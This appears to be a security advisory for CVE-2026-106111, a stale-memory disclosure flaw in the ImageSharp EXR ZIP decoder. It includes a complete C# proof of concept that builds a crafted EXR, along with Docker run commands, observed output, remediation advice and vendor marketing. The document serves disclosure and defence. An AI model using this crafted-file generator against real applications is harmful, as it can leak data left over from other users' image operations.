Summary
ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate
A crafted ZIP-compressed OpenEXR image can return stale memory from a prior
ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty
inflate result shorter than the EXR block's required size, then the EXR decoder
reads the full expected block.
This is a process-local, cross-operation information-disclosure defect. It is
relevant when an application uses the shared Configuration.Default allocator
for separate image operations and exposes pixels or output derived from a later
attacker-controlled EXR decode. Whether that creates a network attack path
depends on the host application.
No active exploitation is known.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1
- Affected range:
>= 4.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.
Details
For ZIP/ZIPS EXR compression, ExrDecoderCore
allocates the expected block buffer without AllocationOptions.Clean and later
interprets the complete buffer as channel data. ZipExrCompression
accepts a partial but non-empty inflate result: UndoZipCompression
rejects only totalRead == 0.
Only the returned prefix is reconstructed and interleaved into the destination
block. The remaining bytes retain allocator contents from a completed prior
operation. ExrDecoderCore then converts those bytes into returned image
pixels.
Reproduction
The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package
version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that
contains the test value 0.27182817. It then decodes a separate crafted 256x1
FLOAT/ZIPS EXR.
The exploit payload inflates to 8 bytes although the declared image block needs
1024 bytes. The control payload inflates to all 1024 bytes. The marker is
present only in exploit output.
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK
8.0.424 / .NET 8, Debian 12, Linux ARM64.
Observed output:
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1
Suggested remediation
Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected
uncompressed byte count. Clearing the destination buffer is defense in depth,
but exact-length validation is required before parsing any decompressed bytes.
Complete PoC files
Program.cs:
using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;
// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
private const int PriorWidth = 64;
private const int AttackerWidth = 256;
private const float PriorValue = 0.271828182f;
private static int Main(string[] args)
{
bool exploit = args.Length == 0 || args[0] == "exploit";
if (args.Length > 0 && args[0] is not ("exploit" or "control"))
{
Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
return 2;
}
Assembly imageSharp = typeof(Image).Assembly;
string informationalVersion = imageSharp
.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
.InformationalVersion
?? "(missing)";
Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}");
Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");
EncodePriorOperation();
// Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024
// uncompressed bytes. The control payload supplies all 1024 bytes.
// The exploit payload supplies eight non-empty bytes.
byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));
using Image<RgbaVector> result = Image.Load<RgbaVector>(
new DecoderOptions { Configuration = Configuration.Default },
new MemoryStream(exr));
result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);
int firstLeak = FindPriorValue(memory.Span);
Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}");
Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");
if ((firstLeak >= 0) != exploit)
{
Console.Error.WriteLine("unexpected disclosure result");
return 1;
}
return 0;
}
private static void EncodePriorOperation()
{
using var previousImage = new Image<RgbaVector>(PriorWidth, 1);
for (int x = 0; x < PriorWidth; x++)
{
previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);
}
using var encoded = new MemoryStream();
previousImage.Save(encoded, new ExrEncoder
{
Compression = ExrCompression.Zips,
PixelType = ExrPixelType.Float,
});
Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}");
}
private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)
{
int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);
for (int x = 0; x < pixels.Length; x++)
{
if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)
{
return x;
}
}
return -1;
}
private static byte[] BuildAttackerExr(int inflatedBytes)
{
byte[] compressed = ZlibCompress(new byte[inflatedBytes]);
using var output = new MemoryStream();
using var writer = new BinaryWriter(output);
writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic
writer.Write((byte)2);
writer.Write(new byte[] { 0, 0, 0 });
using (var channels = new MemoryStream())
using (var channelWriter = new BinaryWriter(channels))
{
WriteString(channelWriter, "R");
channelWriter.Write(2); // FLOAT
channelWriter.Write((byte)0);
channelWriter.Write(new byte[] { 0, 0, 0 });
channelWriter.Write(1);
channelWriter.Write(1);
channelWriter.Write((byte)0);
WriteAttribute(writer, "channels", "chlist", channels.ToArray());
}
WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS
WriteBox(writer, "dataWindow");
WriteBox(writer, "displayWindow");
WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });
byte[] one = new byte[4];
BinaryPrimitives.WriteSingleLittleEndian(one, 1F);
WriteAttribute(writer, "pixelAspectRatio", "float", one);
WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]);
WriteAttribute(writer, "screenWindowWidth", "float", one);
writer.Write((byte)0); // end of header
long chunkOffset = output.Position + sizeof(ulong);
writer.Write((ulong)chunkOffset);
writer.Write((uint)0); // scanline
writer.Write((uint)compressed.Length);
writer.Write(compressed);
writer.Flush();
return output.ToArray();
}
private static void WriteBox(BinaryWriter writer, string name)
{
using var value = new MemoryStream();
using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))
{
box.Write(0);
box.Write(0);
box.Write(AttackerWidth - 1);
box.Write(0);
}
WriteAttribute(writer, name, "box2i", value.ToArray());
}
private static byte[] ZlibCompress(byte[] source)
{
using var compressed = new MemoryStream();
using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))
{
zlib.Write(source, 0, source.Length);
}
return compressed.ToArray();
}
private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)
{
WriteString(writer, name);
WriteString(writer, type);
writer.Write(value.Length);
writer.Write(value);
}
private static void WriteString(BinaryWriter writer, string value)
{
writer.Write(Encoding.ASCII.GetBytes(value));
writer.Write((byte)0);
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" />
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /poc
COPY final-4q3p.csproj Program.cs ./
# Debug is intentional: ImageSharp 4.1.1's package build target reports a
# missing-license warning rather than an error in this configuration. The
# program is still compiled against the published 4.1.1 NuGet assembly.
RUN dotnet restore && dotnet build -c Debug --no-restore
ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]
Run:
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Impact
CVE-2026-106111 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-106111? CVE-2026-106111 is a medium-severity security vulnerability in SixLabors.ImageSharp (nuget), affecting versions >= 4.0.0, <= 4.1.1. It is fixed in 4.1.2.
- How severe is CVE-2026-106111? CVE-2026-106111 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of SixLabors.ImageSharp are affected by CVE-2026-106111? SixLabors.ImageSharp (nuget) versions >= 4.0.0, <= 4.1.1 is affected.
- Is there a fix for CVE-2026-106111? Yes. CVE-2026-106111 is fixed in 4.1.2. Upgrade to this version or later.
- Is CVE-2026-106111 exploitable, and should I be worried? Whether CVE-2026-106111 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-106111 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-106111? Upgrade
SixLabors.ImageSharpto 4.1.2 or later.